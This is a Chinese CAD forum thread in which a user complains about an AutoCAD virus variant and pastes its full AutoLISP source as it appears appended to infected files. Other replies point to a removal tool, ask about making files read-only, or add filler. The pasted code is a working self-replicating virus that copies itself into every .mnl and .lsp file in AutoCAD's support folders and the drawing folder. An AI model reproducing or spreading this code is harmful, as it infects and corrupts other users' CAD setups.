NetBee 发表于 2010-5-31 09:25:00

CAD病毒变种，感染每个LSP文件，烦呀!

在每个LSP文件后面都添加如下段：


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
      (close wjm1)
      );progn
    );if
(if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
   (progn
   (write-line text wjm1)
   );progn
   );if
);while
      (close wjm1)
      (close wjm)
      );progn
    );if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
(setq lspn1 0)
(while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
(setq mnln1 0)
(while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapq")
(princ)
(load "acadapq")
(princ)
(load "acadapq")
(princ)
(load "acadapq")
(princ)

(load "acadappp.lsp")
(princ)
(if (null stol) (load "lcm" ""))
(princ)
(load "acadappp.lsp")
(princ)

手工处理工作量太大了。。。。

xshrimp 发表于 2010-5-31 09:39:00

就是为了这个病毒,我编了一个专杀的工具...<br/><a href="http://bbs.mjtd.com/forum.php?mod=viewthread&tid=81228">http://bbs.mjtd.com/forum.php?mod=viewthread&tid=81228</a><br/>建议不要把源码贴出来了.有些人就喜欢到处传播...

ZZXXQQ 发表于 2010-5-31 10:53:00

将LISP文件只读处理能否防止这种病毒？

cb820 发表于 2010-6-24 14:48:00

我经常也遇到这种问题，烦死人了。

chenqiang26 发表于 2019-4-9 20:54:30

99999999999

奥特蛋 发表于 2019-5-10 10:56:49

学习一下

cad890 发表于 2019-5-12 14:46:39

可以用everything这个软件搜索计算机里的文件，速度很快
页: [1]
查看完整版本: CAD病毒变种，感染每个LSP文件，烦呀!